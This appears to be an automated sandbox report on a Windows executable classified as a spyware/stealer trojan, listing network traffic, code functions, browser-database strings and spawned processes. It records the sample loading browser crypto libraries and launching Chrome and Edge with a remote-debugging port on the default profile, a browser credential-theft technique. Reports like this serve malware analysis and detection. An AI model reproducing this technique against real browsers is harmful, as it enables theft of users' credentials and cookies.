Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.5:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.133:443 -> 192.168.2.5:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.133:443 -> 192.168.2.5:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.133:443 -> 192.168.2.5:49969 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:50023 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C60B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C60B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C60B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C5AF280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A35A0	0_2_6C5A35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B5440	0_2_6C5B5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61545C	0_2_6C61545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61542B	0_2_6C61542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E5C10	0_2_6C5E5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F2C10	0_2_6C5F2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61AC00	0_2_6C61AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CD4D0	0_2_6C5CD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B64C0	0_2_6C5B64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E6CF0	0_2_6C5E6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AD4E0	0_2_6C5AD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6034A0	0_2_6C6034A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60C4A0	0_2_6C60C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B6C80	0_2_6C5B6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CED10	0_2_6C5CED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D0512	0_2_6C5D0512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BFD00	0_2_6C5BFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E0DD0	0_2_6C5E0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6085F0	0_2_6C6085F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C616E63	0_2_6C616E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C9E50	0_2_6C5C9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E3E50	0_2_6C5E3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F2E4E	0_2_6C5F2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C4640	0_2_6C5C4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AC670	0_2_6C5AC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E7E10	0_2_6C5E7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C609E30	0_2_6C609E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F5600	0_2_6C5F5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6176E3	0_2_6C6176E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ABEF0	0_2_6C5ABEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BFEF0	0_2_6C5BFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C604EA0	0_2_6C604EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C5E90	0_2_6C5C5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60E680	0_2_6C60E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E7710	0_2_6C5E7710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B9F00	0_2_6C5B9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D6FF0	0_2_6C5D6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ADFE0	0_2_6C5ADFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F77A0	0_2_6C5F77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C8850	0_2_6C5C8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CD850	0_2_6C5CD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EF070	0_2_6C5EF070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B7810	0_2_6C5B7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EB820	0_2_6C5EB820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F4820	0_2_6C5F4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6150C7	0_2_6C6150C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CC0E0	0_2_6C5CC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E58E0	0_2_6C5E58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D60A0	0_2_6C5D60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61B170	0_2_6C61B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CA940	0_2_6C5CA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FB970	0_2_6C5FB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BD960	0_2_6C5BD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E5190	0_2_6C5E5190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DD9B0	0_2_6C5DD9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C602990	0_2_6C602990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AC9A0	0_2_6C5AC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E9A60	0_2_6C5E9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E8AC0	0_2_6C5E8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C1AF0	0_2_6C5C1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EE2F0	0_2_6C5EE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C612AB0	0_2_6C612AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BCAB0	0_2_6C5BCAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61BA90	0_2_6C61BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A22A0	0_2_6C5A22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D4AA0	0_2_6C5D4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A5340	0_2_6C5A5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BC370	0_2_6C5BC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ED320	0_2_6C5ED320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6153C8	0_2_6C6153C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AF380	0_2_6C5AF380

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5E94D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5DCBE8 appears 134 times

Source: file.exe, 00000000.00000002.2547058138.000000006C825000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: uqyympsy ZLIB complexity 0.994965015128593

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@63/297@28/24

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C607030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C607030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\NH4VABVL.htm

Jump to behavior

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\d6d14c9f-cfe3-47c5-8c4e-9057a6b2ad97.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2538406341.000000001D6F2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2546916895.000000006C7DF000.00000002.00000001.01000000.00000013.sdmp, file.exe, 00000000.00000002.2546279973.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2538406341.000000001D6F2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2546916895.000000006C7DF000.00000002.00000001.01000000.00000013.sdmp, file.exe, 00000000.00000002.2546279973.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2538406341.000000001D6F2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2546916895.000000006C7DF000.00000002.00000001.01000000.00000013.sdmp, file.exe, 00000000.00000002.2546279973.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: chrome.exe, 00000002.00000002.2310766775.00007AA400490000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: file.exe, 00000000.00000002.2538406341.000000001D6F2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2546916895.000000006C7DF000.00000002.00000001.01000000.00000013.sdmp, file.exe, 00000000.00000002.2546279973.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2538406341.000000001D6F2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2546916895.000000006C7DF000.00000002.00000001.01000000.00000013.sdmp, file.exe, 00000000.00000002.2546279973.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2538406341.000000001D6F2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2546279973.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2538406341.000000001D6F2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2546916895.000000006C7DF000.00000002.00000001.01000000.00000013.sdmp, file.exe, 00000000.00000002.2546279973.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2417451437.000000001D615000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2236236863.0000000000C0E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2244345818.000000001D5F8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2538406341.000000001D6F2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2546279973.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2538406341.000000001D6F2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2546279973.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	ReversingLabs: Detection: 39%
Source: file.exe	Virustotal: Detection: 42%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2384 --field-trial-handle=2296,i,8722204721377479828,3000916601433608745,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2576 --field-trial-handle=2456,i,13850268372312283209,17815345528296934824,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=2028,i,5845511922812751212,18091894062939200481,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6328 --field-trial-handle=2028,i,5845511922812751212,18091894062939200481,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6592 --field-trial-handle=2028,i,5845511922812751212,18091894062939200481,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=1120 --field-trial-handle=2028,i,5845511922812751212,18091894062939200481,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2384 --field-trial-handle=2296,i,8722204721377479828,3000916601433608745,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2576 --field-trial-handle=2456,i,13850268372312283209,17815345528296934824,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=2028,i,5845511922812751212,18091894062939200481,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6328 --field-trial-handle=2028,i,5845511922812751212,18091894062939200481,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6592 --field-trial-handle=2028,i,5845511922812751212,18091894062939200481,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
